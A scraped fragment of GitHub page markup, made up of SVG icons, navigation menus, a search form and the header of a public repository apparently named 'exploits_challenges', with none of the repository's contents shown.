2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142911961" data-scoped-search-url="/KaoRz/exploits_challenges/search" data-owner-scoped-search-url="/users/KaoRz/search" data-unscoped-search-url="/search" data-turbo="false" action="/KaoRz/exploits_challenges/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="yvtRd5Sf8fSDu+CJ+yTd0DCpSztcOatkZa+szc3L1HWm0zRpYSkt1ryi8h4X24rnmC4FMedVS1lYmPfJ+tBD/g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KaoRz </span> <span>/</span> exploits_challenges
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>14</span>
